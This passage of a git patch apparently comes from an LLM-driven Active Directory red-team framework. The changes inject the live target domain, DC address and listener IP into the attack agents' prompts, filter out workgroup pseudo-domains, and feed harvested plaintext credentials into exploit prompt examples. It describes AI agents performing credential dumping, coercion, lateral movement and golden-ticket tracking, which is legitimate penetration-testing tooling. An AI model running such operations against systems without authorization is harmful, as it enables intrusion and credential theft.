From c521864efe2ced7a7900beac1d41b8528b058d1d Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Sat, 9 May 2026 15:01:38 -0600 Subject: [PATCH 1/7] feat: inject real operation context into LLM prompt templates and defensively filter pseudo-domains **Added:** - Inject target domain, DC IP, DC FQDN, and listener IP into agent/system prompt templates via `StateSnapshot` and prompt rendering, ensuring tool-call examples use actual operation values - Heuristic function to detect and filter Windows workgroup/self-named pseudo-domains in loot and output extraction, preventing phantom AD domains from polluting achievements and credential attribution - Defensive filtering in loot achievement computation to skip workgroup and default computer-name pseudo-domains - Contextual filtering of `(domain:...)` in SMB/user extraction to avoid setting current domain to a workgroup/self-named pseudo-domain - Tests for new pseudo-domain detection and filtering behaviors across loot, orchestrator extraction, and SMB parsing - Selection of representative credential for worked example in MSSQL lateral/exploit prompt generation **Changed:** - All agent/system prompt templates now render tool-call examples and workflow steps using injected operation context values (`target_domain`, `target_dc_ip`, `target_dc_fqdn`, `listener_ip`) instead of static placeholders - `LlmTaskRunner` and prompt-building logic updated to pass listener IP and target context through to templates - `SharedState` snapshot extended to compute and expose primary target domain, DC IP, DC FQDN, and listener IP for prompt rendering - SMB NetExec banner parsing and FQDN extraction now skip workgroup/self-named pseudo-domains, matching orchestrator extraction logic - Output extraction for users now prevents workgroup banners from overwriting `current_domain` - MSSQL prompt rendering passes representative credential into templates for worked example sections - All tests and agent/system prompt rendering calls updated to provide the required context values **Removed:** - Static/placeholder values for domain, DC IP, DC FQDN, and listener IP from prompt templates and examples, eliminating risk of LLMs copying non-contextual values into real tool calls --- ares-cli/src/ops/loot/format/display.rs | 84 ++++++- ares-cli/src/orchestrator/llm_runner.rs | 29 ++- ares-cli/src/orchestrator/mod.rs | 1 + .../orchestrator/output_extraction/users.rs | 82 ++++++- ares-cli/src/orchestrator/state/shared.rs | 38 ++++ ares-llm/examples/smoke_test.rs | 43 ++-- ares-llm/src/prompt/blue.rs | 4 + ares-llm/src/prompt/exploit/mssql.rs | 65 ++++++ ares-llm/src/prompt/mod.rs | 17 ++ ares-llm/src/prompt/templates.rs | 113 ++++++++-- ares-llm/templates/redteam/agents/acl.md.tera | 4 +- .../templates/redteam/agents/coercion.md.tera | 31 +-- .../templates/redteam/agents/lateral.md.tera | 32 +-- .../redteam/agents/orchestrator.md.tera | 70 +++--- .../templates/redteam/agents/privesc.md.tera | 211 +++++++++--------- .../templates/redteam/agents/recon.md.tera | 8 +- .../agents/system_instructions.md.tera | 35 +-- .../redteam/tasks/exploit_delegation.md.tera | 36 +-- .../redteam/tasks/exploit_mssql.md.tera | 30 +-- .../tasks/exploit_mssql_lateral.md.tera | 44 ++-- .../redteam/tasks/exploit_trust.md.tera | 47 ++-- ares-tools/src/parsers/smb.rs | 77 ++++++- 22 files changed, 752 insertions(+), 349 deletions(-) diff --git a/ares-cli/src/ops/loot/format/display.rs b/ares-cli/src/ops/loot/format/display.rs index 6262b9e6..f342e0a3 100644 --- a/ares-cli/src/ops/loot/format/display.rs +++ b/ares-cli/src/ops/loot/format/display.rs @@ -531,6 +531,35 @@ fn resolve_domain_fqdn(domain: &str, netbios_to_fqdn: &HashMap) lower } +/// Defensive filter for domains that originated from a Windows workgroup or +/// auto-generated computer name rather than a real Kerberos realm. +/// +/// Upstream parsers (`smb.rs`, `output_extraction::users`) drop these at +/// ingest, but old loot already in state may still carry them. Without this +/// filter, a stray `krbtgt@win-xxx.59hv.local` row would flip the pseudo-domain +/// to "compromised" in the achievements rollup. +/// +/// Heuristic operates on a single domain string (no `(name:...)` context here): +/// matches literal `WORKGROUP`/`MSHOME`, and the Windows default computer-name +/// prefix `WIN-` followed by 11 alphanumerics as the first label. +fn looks_like_workgroup_pseudo_domain(domain: &str) -> bool { + let domain = domain.trim().trim_end_matches('.'); + if domain.is_empty() { + return false; + } + if domain.eq_ignore_ascii_case("WORKGROUP") || domain.eq_ignore_ascii_case("MSHOME") { + return true; + } + let first_label = domain.split('.').next().unwrap_or(""); + if first_label.len() == 15 && first_label[..4].eq_ignore_ascii_case("WIN-") { + let suffix = &first_label[4..]; + if suffix.bytes().all(|b| b.is_ascii_alphanumeric()) { + return true; + } + } + false +} + /// Per-domain achievement status. #[derive(Default)] pub(super) struct DomainAchievement { @@ -552,7 +581,7 @@ pub(super) fn build_domain_achievements( for h in hashes { if h.username.eq_ignore_ascii_case("krbtgt") { let domain = resolve_domain_fqdn(&h.domain, &state.netbios_to_fqdn); - if domain.is_empty() { + if domain.is_empty() || looks_like_workgroup_pseudo_domain(&domain) { continue; } let entry = achievements.entry(domain).or_default(); @@ -569,7 +598,7 @@ pub(super) fn build_domain_achievements( if let Some(domain_val) = vuln.details.get("domain") { let raw = domain_val.as_str().unwrap_or(""); let domain = resolve_domain_fqdn(raw, &state.netbios_to_fqdn); - if !domain.is_empty() { + if !domain.is_empty() && !looks_like_workgroup_pseudo_domain(&domain) { achievements.entry(domain).or_default().has_golden_ticket = true; } } @@ -580,7 +609,7 @@ pub(super) fn build_domain_achievements( for c in credentials { if c.is_admin { let domain = resolve_domain_fqdn(&c.domain, &state.netbios_to_fqdn); - if domain.is_empty() { + if domain.is_empty() || looks_like_workgroup_pseudo_domain(&domain) { continue; } let entry = achievements.entry(domain).or_default(); @@ -595,7 +624,7 @@ pub(super) fn build_domain_achievements( for h in hashes { if h.username.eq_ignore_ascii_case("administrator") { let domain = resolve_domain_fqdn(&h.domain, &state.netbios_to_fqdn); - if domain.is_empty() { + if domain.is_empty() || looks_like_workgroup_pseudo_domain(&domain) { continue; } let entry = achievements.entry(domain).or_default(); @@ -1086,6 +1115,53 @@ mod tests { assert!(achievements.is_empty()); } + #[test] + fn build_domain_achievements_skips_workgroup_pseudo_domain() { + // Old loot row from before the upstream parsers learned to drop + // workgroup pseudo-domains: an attacker-box krbtgt entry tagged with + // the auto-generated WIN-XXX...59hv.local string. The achievements + // rollup must NOT promote it to a "compromised domain" (DA). + let state = empty_state(); + let hashes = vec![ + make_hash("krbtgt", "win-mvbxbx7jbs6.59hv.local", "ntlm"), + make_hash("Administrator", "WORKGROUP", "ntlm"), + // Real domain alongside the polluted ones must still come through. + make_hash("krbtgt", "contoso.local", "ntlm"), + ]; + let credentials = vec![make_credential("admin", "win-abcdefghijk.local", true)]; + + let achievements = build_domain_achievements(&state, &hashes, &credentials); + assert!(!achievements.contains_key("win-mvbxbx7jbs6.59hv.local")); + assert!(!achievements.contains_key("workgroup")); + assert!(!achievements.contains_key("win-abcdefghijk.local")); + assert!(achievements.get("contoso.local").unwrap().has_da); + } + + #[test] + fn looks_like_workgroup_pseudo_domain_detects_win_prefix() { + assert!(looks_like_workgroup_pseudo_domain( + "win-mvbxbx7jbs6.59hv.local" + )); + assert!(looks_like_workgroup_pseudo_domain("WIN-ABCDEFGHIJK.local")); + assert!(looks_like_workgroup_pseudo_domain("WORKGROUP")); + assert!(looks_like_workgroup_pseudo_domain("mshome")); + } + + #[test] + fn looks_like_workgroup_pseudo_domain_passes_real_domain() { + assert!(!looks_like_workgroup_pseudo_domain("contoso.local")); + assert!(!looks_like_workgroup_pseudo_domain("child.contoso.local")); + assert!(!looks_like_workgroup_pseudo_domain("fabrikam.local")); + assert!(!looks_like_workgroup_pseudo_domain("")); + // Wrong length / suffix shape — don't over-trigger + assert!(!looks_like_workgroup_pseudo_domain("win-short.local")); + assert!(!looks_like_workgroup_pseudo_domain( + "win-toolongsuffix9.local" + )); + // First label has WIN- prefix but has non-alphanumeric in the suffix + assert!(!looks_like_workgroup_pseudo_domain("win-abc!defghij.local")); + } + // Domain/forest structure computation (inline in print_loot_human) /// Extract the domain/forest structure logic into a helper we can test. diff --git a/ares-cli/src/orchestrator/llm_runner.rs b/ares-cli/src/orchestrator/llm_runner.rs index 039db0cb..140a3cf2 100644 --- a/ares-cli/src/orchestrator/llm_runner.rs +++ b/ares-cli/src/orchestrator/llm_runner.rs @@ -31,6 +31,10 @@ pub struct LlmTaskRunner { /// Sorted technique priorities from strategy (technique, weight). /// Passed to the system prompt template to render a dynamic priority table. technique_priorities: Vec<(String, i32)>, + /// Orchestrator listener IP — injected into agent prompt templates so + /// example tool calls (e.g. coercion `listener=...`) show the real IP + /// instead of a literal that the LLM may copy verbatim. + listener_ip: String, /// Deferred callback handler — set after construction to break the /// `LlmTaskRunner → Dispatcher → LlmTaskRunner` circular dependency. callback_handler: OnceLock>, @@ -44,6 +48,7 @@ impl LlmTaskRunner { state: SharedState, temperature: Option, technique_priorities: Vec<(String, i32)>, + listener_ip: String, ) -> Self { // Layer env-var overrides (ARES_AGENT_*, ARES_CONTEXT_*, ARES_BUDGET_*, // ARES_SESSION_LOG_*) on top of compiled defaults so operators can @@ -55,6 +60,7 @@ impl LlmTaskRunner { state, config, technique_priorities, + listener_ip, callback_handler: OnceLock::new(), } } @@ -91,7 +97,12 @@ impl LlmTaskRunner { let snapshot = self.state.snapshot().await; // 2. Build system prompt from agent template - let system_prompt = build_system_prompt(role, &snapshot, &self.technique_priorities)?; + let system_prompt = build_system_prompt( + role, + &snapshot, + &self.technique_priorities, + &self.listener_ip, + )?; // 3. Build task prompt from Tera template + payload let task_prompt = build_task_prompt(task_type, task_id, payload, &snapshot)?; @@ -162,6 +173,7 @@ fn build_system_prompt( role: AgentRole, snapshot: &StateSnapshot, technique_priorities: &[(String, i32)], + listener_ip: &str, ) -> Result { // Get capabilities from the tool definitions for this role let tools = tool_registry::tools_for_role(role); @@ -188,7 +200,14 @@ fn build_system_prompt( } else { Some(technique_priorities) }; - let system_instructions = templates::render_system_instructions(None, priorities)?; + let system_instructions = templates::render_system_instructions( + None, + priorities, + &snapshot.target_domain, + &snapshot.target_dc_ip, + &snapshot.target_dc_fqdn, + listener_ip, + )?; // Render agent-specific instructions let agent_instructions = templates::render_agent_instructions( @@ -196,6 +215,10 @@ fn build_system_prompt( &capabilities, !snapshot.undominated_forests.is_empty(), &snapshot.undominated_forests, + &snapshot.target_domain, + &snapshot.target_dc_ip, + &snapshot.target_dc_fqdn, + listener_ip, )?; Ok(format!("{system_instructions}\n\n{agent_instructions}")) @@ -379,7 +402,7 @@ mod tests { AgentRole::Coercion, AgentRole::Orchestrator, ] { - let result = build_system_prompt(*role, &snapshot, &[]); + let result = build_system_prompt(*role, &snapshot, &[], "192.168.58.50"); assert!(result.is_ok(), "Failed for role: {:?}", role); let prompt = result.unwrap(); assert!(!prompt.is_empty(), "Empty prompt for role: {:?}", role); diff --git a/ares-cli/src/orchestrator/mod.rs b/ares-cli/src/orchestrator/mod.rs index 4c57df17..088b2c07 100644 --- a/ares-cli/src/orchestrator/mod.rs +++ b/ares-cli/src/orchestrator/mod.rs @@ -342,6 +342,7 @@ async fn run_inner() -> Result<()> { shared_state.clone(), config.strategy.llm_temperature, technique_priorities, + config.listener_ip.clone().unwrap_or_default(), )); info!( model = %model_name, diff --git a/ares-cli/src/orchestrator/output_extraction/users.rs b/ares-cli/src/orchestrator/output_extraction/users.rs index a1dec373..95e4bf88 100644 --- a/ares-cli/src/orchestrator/output_extraction/users.rs +++ b/ares-cli/src/orchestrator/output_extraction/users.rs @@ -6,6 +6,34 @@ use ares_core::models::User; static RE_DOMAIN_CONTEXT: LazyLock = LazyLock::new(|| Regex::new(r"(?i)\(domain:([^)]+)\)").unwrap()); +static RE_NAME_CONTEXT: LazyLock = + LazyLock::new(|| Regex::new(r"(?i)\(name:([^)]+)\)").unwrap()); + +/// True when a `(domain:Y)` value paired with `(name:X)` on an SMB banner line +/// is a workgroup or self-named pseudo-domain rather than a real Kerberos +/// realm. Mirrors the heuristic in `ares-tools::parsers::smb` — kept local to +/// avoid a cross-crate dep just for one helper. Non-domain-joined Windows +/// hosts emit `(domain:WORKGROUP)` or `(domain:WIN-XXX.AUTOGEN.LOCAL)` where +/// the first label of the domain is the host's own NetBIOS name; pinning +/// `current_domain` to that string later attributes extracted users (and any +/// hashes that get tagged from this context) to a phantom AD domain. +fn is_workgroup_domain(name: &str, domain: &str) -> bool { + let domain = domain.trim().trim_end_matches('.'); + if domain.is_empty() { + return false; + } + if domain.eq_ignore_ascii_case("WORKGROUP") || domain.eq_ignore_ascii_case("MSHOME") { + return true; + } + if !name.is_empty() { + let first_label = domain.split('.').next().unwrap_or(""); + if first_label.eq_ignore_ascii_case(name) { + return true; + } + } + false +} + pub(crate) static RE_DOMAIN_BACKSLASH: LazyLock = LazyLock::new(|| Regex::new(r"([A-Za-z0-9_.\-]+)\\([A-Za-z0-9_.\-$]+)").unwrap()); @@ -83,12 +111,19 @@ pub fn extract_users(output: &str, default_domain: &str) -> Vec { let stripped = line.trim(); if let Some(caps) = RE_DOMAIN_CONTEXT.captures(stripped) { - current_domain = caps + let candidate = caps .get(1) .unwrap() .as_str() .trim_end_matches('.') .to_string(); + let line_name = RE_NAME_CONTEXT + .captures(stripped) + .map(|c| c.get(1).unwrap().as_str().trim().to_string()) + .unwrap_or_default(); + if !is_workgroup_domain(&line_name, &candidate) { + current_domain = candidate; + } } let mut found = Vec::new(); @@ -216,4 +251,49 @@ mod tests { fn extract_users_empty_output() { assert!(extract_users("", "contoso.local").is_empty()); } + + #[test] + fn extract_users_ignores_workgroup_domain_context() { + // SMB banner from a non-domain-joined host (the attacker's own kali + // box) appears in the same enumeration output as a real target. The + // workgroup `(domain:WIN-MVBXBX7JBS6.59HV.LOCAL)` must NOT overwrite + // `current_domain`, so the user extracted on the next line stays + // attributed to the operator's intended `default_domain` rather than + // a phantom AD realm. + let output = "\ +SMB 192.168.58.178 445 WIN-MVBXBX7JBS6 [*] Windows 10 (name:WIN-MVBXBX7JBS6) (domain:WIN-MVBXBX7JBS6.59HV.LOCAL) (signing:False) +SMB 192.168.58.178 445 WIN-MVBXBX7JBS6 [+] user:[svc_local]"; + let users = extract_users(output, "contoso.local"); + let svc = users + .iter() + .find(|u| u.username == "svc_local") + .expect("svc_local should be extracted"); + assert_eq!( + svc.domain, "contoso.local", + "workgroup banner must not overwrite default_domain" + ); + } + + #[test] + fn extract_users_keeps_real_domain_context() { + // Sanity check — real AD `(domain:contoso.local)` still updates + // current_domain. + let output = "\ +SMB 192.168.58.10 445 DC01 [*] Windows Server 2019 (name:DC01) (domain:contoso.local) (signing:True) +SMB 192.168.58.10 445 DC01 [+] user:[alice]"; + let users = extract_users(output, ""); + let alice = users.iter().find(|u| u.username == "alice").unwrap(); + assert_eq!(alice.domain, "contoso.local"); + } + + #[test] + fn is_workgroup_domain_detects_self_named() { + assert!(is_workgroup_domain( + "WIN-MVBXBX7JBS6", + "WIN-MVBXBX7JBS6.59HV.LOCAL" + )); + assert!(is_workgroup_domain("anything", "WORKGROUP")); + assert!(!is_workgroup_domain("DC01", "contoso.local")); + assert!(!is_workgroup_domain("DC01", "")); + } } diff --git a/ares-cli/src/orchestrator/state/shared.rs b/ares-cli/src/orchestrator/state/shared.rs index ea805d49..92b36337 100644 --- a/ares-cli/src/orchestrator/state/shared.rs +++ b/ares-cli/src/orchestrator/state/shared.rs @@ -34,6 +34,40 @@ impl SharedState { &s.domain_controllers, ); + let target_domain = s + .target + .as_ref() + .map(|t| t.domain.clone()) + .filter(|d| !d.is_empty()) + .or_else(|| s.domains.first().cloned()) + .unwrap_or_default(); + // Prefer the DC IP for the primary target_domain; fall back to the + // configured Target's IP (which is the seed IP from operation config). + let target_dc_ip = s + .domain_controllers + .get(&target_domain) + .cloned() + .or_else(|| s.target.as_ref().map(|t| t.ip.clone())) + .unwrap_or_default(); + // Prefer the configured Target's hostname (already an FQDN); else find + // the first discovered DC host whose hostname matches target_domain. + let target_dc_fqdn = s + .target + .as_ref() + .map(|t| t.hostname.clone()) + .filter(|h| !h.is_empty() && h.contains('.')) + .or_else(|| { + s.hosts + .iter() + .find(|h| { + h.is_dc + && !h.hostname.is_empty() + && h.hostname.to_lowercase().ends_with(&target_domain) + }) + .map(|h| h.hostname.to_lowercase()) + }) + .unwrap_or_else(|| target_domain.clone()); + ares_llm::prompt::StateSnapshot { credentials: s.credentials.clone(), hashes: s.hashes.clone(), @@ -62,6 +96,10 @@ impl SharedState { .map(|s| s.to_lowercase()) }) .collect(), + target_domain, + target_dc_ip, + target_dc_fqdn, + listener_ip: std::env::var("ARES_LISTENER_IP").unwrap_or_default(), } } diff --git a/ares-llm/examples/smoke_test.rs b/ares-llm/examples/smoke_test.rs index b234ed41..b5ba5355 100644 --- a/ares-llm/examples/smoke_test.rs +++ b/ares-llm/examples/smoke_test.rs @@ -17,9 +17,9 @@ use ares_llm::prompt::generate_task_prompt; use ares_llm::prompt::templates::{render_agent_instructions, TEMPLATE_RECON}; use ares_llm::tool_registry::{tools_for_role, AgentRole}; use ares_llm::{ - run_agent_loop, AgentLoopConfig, CallbackHandler, ContextConfig, LlmError, LlmProvider, - LlmRequest, LlmResponse, RetryConfig, StopReason, TokenUsage, ToolCall, ToolDefinition, - ToolDispatcher, ToolExecResult, + run_agent_loop, AgentLoopConfig, CallbackHandler, LlmError, LlmProvider, LlmRequest, + LlmResponse, LoopEndReason, StopReason, TokenUsage, ToolCall, ToolDefinition, ToolDispatcher, + ToolExecResult, }; struct MockProvider { @@ -130,7 +130,16 @@ async fn main() -> Result<()> { "enumerate_users".to_string(), "run_bloodhound".to_string(), ]; - let system_prompt = render_agent_instructions(TEMPLATE_RECON, &capabilities, false, &[])?; + let system_prompt = render_agent_instructions( + TEMPLATE_RECON, + &capabilities, + false, + &[], + "contoso.local", + "192.168.58.10", + "dc01.contoso.local", + "192.168.58.50", + )?; assert!(!system_prompt.is_empty()); println!( "[OK] System prompt rendered ({} chars)", @@ -159,14 +168,10 @@ async fn main() -> Result<()> { let config = AgentLoopConfig { model: "mock".into(), max_steps: 10, - max_tokens: 4096, - temperature: None, - retry: RetryConfig::default(), - context: ContextConfig::default(), - max_tool_calls_per_name: 10, ..AgentLoopConfig::default() }; + let callbacks: Option> = None; let outcome = run_agent_loop( &provider, dispatcher, @@ -176,7 +181,7 @@ async fn main() -> Result<()> { "recon", "t-smoke-1", &tools, - None::>, + callbacks, None, ) .await; @@ -191,18 +196,12 @@ async fn main() -> Result<()> { ); println!(" Discoveries: {} batch(es)", outcome.discoveries.len()); - // Verify the loop ended with task_complete - match &outcome.reason { - ares_llm::LoopEndReason::TaskComplete { task_id, result } => { - assert_eq!(task_id, "t-smoke-1"); - assert!(result.contains("Port scan complete")); - println!("\n[OK] Agent loop completed task '{task_id}'"); - } - other => { - eprintln!("\n[FAIL] Expected TaskComplete, got: {other:?}"); - std::process::exit(1); - } - } + let LoopEndReason::TaskComplete { task_id, result } = &outcome.reason else { + panic!("expected TaskComplete, got: {:?}", outcome.reason); + }; + assert_eq!(task_id, "t-smoke-1"); + assert!(result.contains("Port scan complete")); + println!("\n[OK] Agent loop completed task '{task_id}'"); assert_eq!(outcome.steps, 2); assert_eq!(outcome.tool_calls_dispatched, 1); // nmap_scan only; task_complete is callback diff --git a/ares-llm/src/prompt/blue.rs b/ares-llm/src/prompt/blue.rs index 6d2b579c..62b0cf84 100644 --- a/ares-llm/src/prompt/blue.rs +++ b/ares-llm/src/prompt/blue.rs @@ -180,6 +180,10 @@ pub fn build_blue_system_prompt( capabilities, false, &[], + "", + "", + "", + "", &extras, ) } diff --git a/ares-llm/src/prompt/exploit/mssql.rs b/ares-llm/src/prompt/exploit/mssql.rs index e8d923ed..abb6d874 100644 --- a/ares-llm/src/prompt/exploit/mssql.rs +++ b/ares-llm/src/prompt/exploit/mssql.rs @@ -22,10 +22,13 @@ pub(crate) fn generate_mssql_lateral_prompt( let domain = payload.get("domain").and_then(|v| v.as_str()).unwrap_or(""); let creds_section = build_creds_section(payload, state); + let (sample_username, sample_password) = first_sample_credential(payload, state, domain); let mut ctx = Context::new(); ctx.insert("target", target); ctx.insert("domain", domain); + ctx.insert("sample_username", &sample_username); + ctx.insert("sample_password", &sample_password); if !creds_section.is_empty() { ctx.insert("creds_section", &creds_section); } @@ -64,9 +67,15 @@ pub(crate) fn generate_mssql_prompt( } } + let domain = payload.get("domain").and_then(|v| v.as_str()).unwrap_or(""); + let (sample_username, sample_password) = first_sample_credential(payload, state, domain); + let mut ctx = Context::new(); ctx.insert("base_prompt", base_prompt); ctx.insert("target", target); + ctx.insert("domain", domain); + ctx.insert("sample_username", &sample_username); + ctx.insert("sample_password", &sample_password); if !creds_section.is_empty() { ctx.insert("creds_section", &creds_section); } @@ -75,6 +84,62 @@ pub(crate) fn generate_mssql_prompt( render_template_with_context(TASK_EXPLOIT_MSSQL, &ctx) } +/// Pick the first credential to use as a worked example in a tool-call +/// template. Prefers `available_credentials` from the payload (already +/// pre-filtered for the task), then `all_credentials`, then any state +/// credential matching the task's domain. Empty strings if nothing usable. +fn first_sample_credential( + payload: &Value, + state: Option<&StateSnapshot>, + domain: &str, +) -> (String, String) { + let take = |arr: &[Value]| -> Option<(String, String)> { + arr.iter() + .find(|c| { + c.get("password") + .and_then(|v| v.as_str()) + .map(|p| !p.is_empty()) + .unwrap_or(false) + }) + .map(|c| { + ( + c.get("username") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(), + c.get("password") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(), + ) + }) + }; + + if let Some(arr) = payload + .get("available_credentials") + .and_then(|v| v.as_array()) + { + if let Some(found) = take(arr) { + return found; + } + } + if let Some(arr) = payload.get("all_credentials").and_then(|v| v.as_array()) { + if let Some(found) = take(arr) { + return found; + } + } + if let Some(s) = state { + let domain_lower = domain.to_lowercase(); + if let Some(c) = s.credentials.iter().find(|c| { + !c.password.is_empty() + && (domain_lower.is_empty() || c.domain.to_lowercase() == domain_lower) + }) { + return (c.username.clone(), c.password.clone()); + } + } + (String::new(), String::new()) +} + /// Build the credentials section for MSSQL lateral enumeration. fn build_creds_section(payload: &Value, state: Option<&StateSnapshot>) -> String { let mut creds_section = String::new(); diff --git a/ares-llm/src/prompt/mod.rs b/ares-llm/src/prompt/mod.rs index d7528eda..6eb9f7b5 100644 --- a/ares-llm/src/prompt/mod.rs +++ b/ares-llm/src/prompt/mod.rs @@ -49,6 +49,23 @@ pub struct StateSnapshot { /// delegation or RBCD vulnerabilities. Agents must NOT use these /// credentials for generic auth — they are reserved for S4U. pub delegation_accounts: std::collections::HashSet, + /// Operator-configured primary target domain (FQDN, e.g. `contoso.local`). + /// Empty if no Target is configured. Injected into agent prompt templates + /// so example tool calls show the real operation domain instead of a + /// generic literal that the LLM may copy verbatim into actual calls. + pub target_domain: String, + /// IP of the primary target DC. Empty if not yet known. Same purpose as + /// `target_domain` — replaces literal `192.168.58.x` examples in prompts. + pub target_dc_ip: String, + /// FQDN of the primary target DC (e.g. `dc01.contoso.local`). Falls back + /// to `target_domain` when no DC hostname is known. Used for tool call + /// examples that need an FQDN target (e.g. SPNs, Kerberos targets). + pub target_dc_fqdn: String, + /// Orchestrator listener IP (resolved from `ARES_LISTENER_IP` or + /// auto-detected). Empty if unset. Mirrored into the snapshot so task + /// prompt templates can render `listener=...` in tool-call examples + /// without threading the value through every renderer. + pub listener_ip: String, } /// Generate a task prompt from a task type and JSON payload. diff --git a/ares-llm/src/prompt/templates.rs b/ares-llm/src/prompt/templates.rs index 51c369f1..50f0472d 100644 --- a/ares-llm/src/prompt/templates.rs +++ b/ares-llm/src/prompt/templates.rs @@ -322,24 +322,36 @@ static TEMPLATES: LazyLock = LazyLock::new(|| { /// Render an agent instruction template with the given context variables. /// /// Used for role-based system prompts (recon, credential_access, cracker, etc.) -/// that have a `{% for tool in capabilities %}` loop. +/// that have a `{% for tool in capabilities %}` loop. `target_domain` and +/// `target_dc_ip` are injected so example tool calls show the real operation +/// values instead of generic literals. /// /// # Arguments /// * `template_name` - Template identifier (e.g. `TEMPLATE_RECON`) /// * `capabilities` - List of tool names available to this agent role /// * `multi_forest_mode` - Whether multi-forest operation is active /// * `undominated_forests` - Forest names not yet dominated (for orchestrator) +/// * `target_domain` - Primary target FQDN (e.g. `north.sevenkingdoms.local`) +/// * `target_dc_ip` - Primary target DC IP pub fn render_agent_instructions( template_name: &str, capabilities: &[String], multi_forest_mode: bool, undominated_forests: &[String], + target_domain: &str, + target_dc_ip: &str, + target_dc_fqdn: &str, + listener_ip: &str, ) -> Result { render_agent_instructions_with_extras( template_name, capabilities, multi_forest_mode, undominated_forests, + target_domain, + target_dc_ip, + target_dc_fqdn, + listener_ip, &[], ) } @@ -351,12 +363,20 @@ pub fn render_agent_instructions_with_extras( capabilities: &[String], multi_forest_mode: bool, undominated_forests: &[String], + target_domain: &str, + target_dc_ip: &str, + target_dc_fqdn: &str, + listener_ip: &str, extras: &[(&str, &str)], ) -> Result { let mut ctx = Context::new(); ctx.insert("capabilities", capabilities); ctx.insert("multi_forest_mode", &multi_forest_mode); ctx.insert("undominated_forests", undominated_forests); + ctx.insert("target_domain", target_domain); + ctx.insert("target_dc_ip", target_dc_ip); + ctx.insert("target_dc_fqdn", target_dc_fqdn); + ctx.insert("listener_ip", listener_ip); for (k, v) in extras { ctx.insert(*k, v); } @@ -371,9 +391,16 @@ pub fn render_agent_instructions_with_extras( /// - `all_capabilities`: map of role → tool list. Falls back to hardcoded defaults if None. /// - `technique_priorities`: sorted list of (technique, weight) pairs for the priority table. /// If provided, renders a dynamic "ATTACK FALLBACK CHAINS" section. +/// - `target_domain` / `target_dc_ip`: operation context injected into example +/// tool calls so the LLM sees real values instead of generic literals it +/// might copy verbatim. pub fn render_system_instructions( all_capabilities: Option<&HashMap>>, technique_priorities: Option<&[(String, i32)]>, + target_domain: &str, + target_dc_ip: &str, + target_dc_fqdn: &str, + listener_ip: &str, ) -> Result { let mut ctx = Context::new(); if let Some(caps) = all_capabilities { @@ -382,6 +409,10 @@ pub fn render_system_instructions( if let Some(priorities) = technique_priorities { ctx.insert("technique_priorities", priorities); } + ctx.insert("target_domain", target_domain); + ctx.insert("target_dc_ip", target_dc_ip); + ctx.insert("target_dc_fqdn", target_dc_fqdn); + ctx.insert("listener_ip", listener_ip); TEMPLATES .render(TEMPLATE_SYSTEM_INSTRUCTIONS, &ctx) @@ -425,7 +456,7 @@ mod tests { "enumerate_users".to_string(), "run_bloodhound".to_string(), ]; - let result = render_agent_instructions(TEMPLATE_RECON, &capabilities, false, &[]).unwrap(); + let result = render_agent_instructions(TEMPLATE_RECON, &capabilities, false, &[], "contoso.local", "192.168.58.10", "dc01.contoso.local", "192.168.58.50").unwrap(); assert!(result.contains("RECON Worker Agent")); assert!(result.contains("- nmap_scan")); @@ -435,7 +466,17 @@ mod tests { #[test] fn render_recon_empty_capabilities() { - let result = render_agent_instructions(TEMPLATE_RECON, &[], false, &[]).unwrap(); + let result = render_agent_instructions( + TEMPLATE_RECON, + &[], + false, + &[], + "contoso.local", + "192.168.58.10", + "dc01.contoso.local", + "192.168.58.50", + ) + .unwrap(); assert!(result.contains("RECON Worker Agent")); assert!(result.contains("## Available Tools")); } @@ -444,8 +485,17 @@ mod tests { fn render_credential_access_template() { let capabilities = vec!["secretsdump".to_string(), "kerberoast".to_string()]; let result = - render_agent_instructions(TEMPLATE_CREDENTIAL_ACCESS, &capabilities, false, &[]) - .unwrap(); + render_agent_instructions( + TEMPLATE_CREDENTIAL_ACCESS, + &capabilities, + false, + &[], + "contoso.local", + "192.168.58.10", + "dc01.contoso.local", + "192.168.58.50", + ) + .unwrap(); assert!(result.contains("Credential Access Agent")); assert!(result.contains("- secretsdump")); assert!(result.contains("- kerberoast")); @@ -455,7 +505,7 @@ mod tests { fn render_cracker_template() { let capabilities = vec!["crack_with_hashcat".to_string()]; let result = - render_agent_instructions(TEMPLATE_CRACKER, &capabilities, false, &[]).unwrap(); + render_agent_instructions(TEMPLATE_CRACKER, &capabilities, false, &[], "contoso.local", "192.168.58.10", "dc01.contoso.local", "192.168.58.50").unwrap(); assert!(result.contains("Hash Cracker Agent")); assert!(result.contains("- crack_with_hashcat")); } @@ -463,7 +513,7 @@ mod tests { #[test] fn render_acl_template() { let capabilities = vec!["pywhisker".to_string(), "dacl_edit".to_string()]; - let result = render_agent_instructions(TEMPLATE_ACL, &capabilities, false, &[]).unwrap(); + let result = render_agent_instructions(TEMPLATE_ACL, &capabilities, false, &[], "contoso.local", "192.168.58.10", "dc01.contoso.local", "192.168.58.50").unwrap(); assert!(result.contains("ACL Exploitation Agent")); assert!(result.contains("- pywhisker")); } @@ -472,7 +522,7 @@ mod tests { fn render_privesc_template() { let capabilities = vec!["certipy_find".to_string(), "s4u_attack".to_string()]; let result = - render_agent_instructions(TEMPLATE_PRIVESC, &capabilities, false, &[]).unwrap(); + render_agent_instructions(TEMPLATE_PRIVESC, &capabilities, false, &[], "contoso.local", "192.168.58.10", "dc01.contoso.local", "192.168.58.50").unwrap(); assert!(result.contains("Privilege Escalation Agent")); assert!(result.contains("- certipy_find")); } @@ -481,7 +531,7 @@ mod tests { fn render_lateral_template() { let capabilities = vec!["psexec".to_string(), "evil_winrm".to_string()]; let result = - render_agent_instructions(TEMPLATE_LATERAL, &capabilities, false, &[]).unwrap(); + render_agent_instructions(TEMPLATE_LATERAL, &capabilities, false, &[], "contoso.local", "192.168.58.10", "dc01.contoso.local", "192.168.58.50").unwrap(); assert!(result.contains("Lateral Movement Agent")); assert!(result.contains("- psexec")); } @@ -490,7 +540,7 @@ mod tests { fn render_coercion_template() { let capabilities = vec!["petitpotam".to_string(), "start_responder".to_string()]; let result = - render_agent_instructions(TEMPLATE_COERCION, &capabilities, false, &[]).unwrap(); + render_agent_instructions(TEMPLATE_COERCION, &capabilities, false, &[], "contoso.local", "192.168.58.10", "dc01.contoso.local", "192.168.58.50").unwrap(); assert!(result.contains("Coercion Agent")); assert!(result.contains("- petitpotam")); } @@ -499,7 +549,7 @@ mod tests { fn render_orchestrator_template() { let capabilities = vec!["dispatch_recon".to_string()]; let result = - 